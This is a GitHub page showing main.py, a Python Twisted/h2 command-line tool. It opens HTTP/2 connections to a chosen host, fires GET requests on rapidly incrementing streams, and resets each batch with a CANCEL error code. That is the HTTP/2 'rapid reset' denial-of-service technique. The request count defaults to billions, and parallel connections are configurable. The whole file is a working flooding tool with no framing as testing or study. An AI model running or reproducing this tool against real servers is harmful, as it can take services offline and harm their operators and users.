-
Notifications
You must be signed in to change notification settings - Fork 3
/
main.py
273 lines (212 loc) · 8.56 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
# -*- coding: utf-8 -*-
from __future__ import print_function
import mimetypes
import os
import sys
import signal
from twisted.internet import reactor, defer
from twisted.internet.endpoints import connectProtocol, SSL4ClientEndpoint
from twisted.internet.protocol import Protocol
from twisted.internet.ssl import optionsForClientTLS
from h2.connection import H2Connection
from h2.events import (
ChangedSetting,
ResponseReceived, DataReceived, StreamEnded, StreamReset, WindowUpdated,
SettingsAcknowledged,
)
import click
AUTHORITY = u'example.com'
PATH = '/'
PORT = 443
CUSTOM_HEADERS = {}
REQUEST_COUNT = 9999999999
MAX_STREAMS = 128
MAX_CON = 1
@click.command()
@click.option('--host', type=str, help='Host URL', required=True)
@click.option('--path', type=str, help='Path on the host', required=True)
@click.option('--headers', type=str, help='Headers (comma-separated)', required=True)
@click.option('--port', type=int, help='Port number', required=True)
@click.option('--requests_count', type=int, help='Number of requests to be sent', required=True)
@click.option('--max_streams', type=int, help='Maximum streams to be opened in parallel', required=True)
@click.option('--parallel_connections', type=int, help='Number of parallel connections to be made with the server. (TCP connection)', required=True)
def init(host, path, headers, port , requests_count , max_streams, parallel_connections):
global AUTHORITY , PATH, PORT , CUSTOM_HEADERS , REQUEST_COUNT , MAX_STREAMS , MAX_CON
special_seprator = ';'
headers_list = headers.split(';')
click.echo(f"Host: {host}")
click.echo(f"Path: {path}")
click.echo(f"Headers: {headers_list}")
click.echo(f"Port: {port}")
click.echo(f"Request Count: {requests_count}")
click.echo(f"Max. Streamx: {max_streams}")
# You can perform your desired operations with the inputs here
PORT = port
AUTHORITY = host
PATH = path
REQUEST_COUNT = requests_count
MAX_STREAMS = max_streams
MAX_CON = parallel_connections
headers_list = headers.split(special_seprator)
for header in headers_list:
header = header.split(":" , 2)
CUSTOM_HEADERS[header[0].strip()] = header[1].strip()
options = optionsForClientTLS(
hostname=AUTHORITY,
acceptableProtocols=[b'h2'],
)
for i in range(MAX_CON):
connectProtocol(
SSL4ClientEndpoint(reactor, AUTHORITY, PORT, options),
H2Protocol(id=str(i+1))
)
reactor.run()
# Function to gracefully shut down the Twisted application
def shutdown():
print("Shutting down gracefully...")
reactor.stop()
# Set up a signal handler for Ctrl+C (SIGINT)
signal.signal(signal.SIGINT, lambda signum, frame: shutdown())
class H2Protocol(Protocol):
def __init__(self , id):
self.conn = H2Connection()
self.known_proto = None
self.request_made = False
self.request_complete = False
self.flow_control_deferred = None
self.fileobj = None
self.file_size = None
self.id = id
def connectionMade(self):
"""
Called by Twisted when the TCP connection is established. We can start
sending some data now: we should open with the connection preamble.
"""
self.conn.initiate_connection()
self.transport.write(self.conn.data_to_send())
def dataReceived(self, data):
"""
Called by Twisted when data is received on the connection.
We need to check a few things here. Firstly, we want to validate that
we actually negotiated HTTP/2: if we didn't, we shouldn't proceed!
Then, we want to pass the data to the protocol stack and check what
events occurred.
"""
if not self.known_proto:
self.known_proto = self.transport.negotiatedProtocol
assert self.known_proto == b'h2'
events = self.conn.receive_data(data)
for event in events:
# print("event", event)
if isinstance(event, ResponseReceived):
pass
# self.handleResponse(event.headers)
elif isinstance(event, DataReceived):
pass
# self.handleData(event.data)
elif isinstance(event, StreamEnded):
pass
# self.endStream()
elif isinstance(event, SettingsAcknowledged):
self.settingsAcked(event)
elif isinstance(event, StreamReset):
reactor.stop()
raise RuntimeError("Stream reset: %d" % event.error_code)
elif isinstance(event, WindowUpdated):
self.windowUpdated(event)
elif isinstance(event , ChangedSetting):
print("ChangedSetting" , event)
data = self.conn.data_to_send()
if data:
self.transport.write(data)
def settingsAcked(self, event):
"""
Called when the remote party ACKs our settings. We send a SETTINGS
frame as part of the preamble, so if we want to be very polite we can
wait until the ACK for that frame comes before we start sending our
request.
"""
to_be_closed = []
if not self.request_made:
for i in range(1 , REQUEST_COUNT , 2):
print(f"Connectin-Id: {self.id} - Last Created Stream: {i+1} - Parallely Opened Streams: {len(to_be_closed)}")
self.sendRequest(i)
to_be_closed.append(i)
if len(to_be_closed) >= MAX_STREAMS:
for ii in to_be_closed:
self.conn.reset_stream(stream_id=ii , error_code=0x8)
to_be_closed = []
def handleResponse(self, response_headers):
"""
Handle the response by printing the response headers.
"""
for name, value in response_headers:
print("%s: %s" % (name.decode('utf-8'), value.decode('utf-8')))
print("")
def handleData(self, data):
"""
We handle data that's received by just printing it.
"""
print(data, end='')
def endStream(self):
"""
We call this when the stream is cleanly ended by the remote peer. That
means that the response is complete.
Because this code only makes a single HTTP/2 request, once we receive
the complete response we can safely tear the connection down and stop
the reactor. We do that as cleanly as possible.
"""
self.request_complete = True
self.conn.close_connection()
self.transport.write(self.conn.data_to_send())
self.transport.loseConnection()
def windowUpdated(self, event):
"""
We call this when the flow control window for the connection or the
stream has been widened. If there's a flow control deferred present
(that is, if we're blocked behind the flow control), we fire it.
Otherwise, we do nothing.
"""
if self.flow_control_deferred is None:
return
# Make sure we remove the flow control deferred to avoid firing it
# more than once.
flow_control_deferred = self.flow_control_deferred
self.flow_control_deferred = None
flow_control_deferred.callback(None)
def connectionLost(self, reason=None):
"""
Called by Twisted when the connection is gone. Regardless of whether
it was clean or not, we want to stop the reactor.
"""
print("connectionLost")
if self.fileobj is not None:
self.fileobj.close()
if reactor.running:
reactor.stop()
def sendRequest(self , stream_id):
"""
Send the request.
"""
# First, we need to work out how large the file is.
# Next, we want to guess a content-type and content-encoding.
import string
import random
res = ''.join(random.choices(string.ascii_lowercase +
string.digits, k=5))
# Now we can build a header block.
from random import randint, randrange
ip_search = randint(10, 254)
ip_search = str("%%%%%%")
request_headers = [
(':method', 'GET'),
(':authority', AUTHORITY),
(':scheme', 'https'),
(':path', PATH ),
]
for custom_header in CUSTOM_HEADERS:
request_headers.append( (custom_header, CUSTOM_HEADERS[custom_header]) )
self.conn.send_headers(stream_id, request_headers, end_stream=True)
# print("stream", stream_id)
if __name__ == '__main__':
init()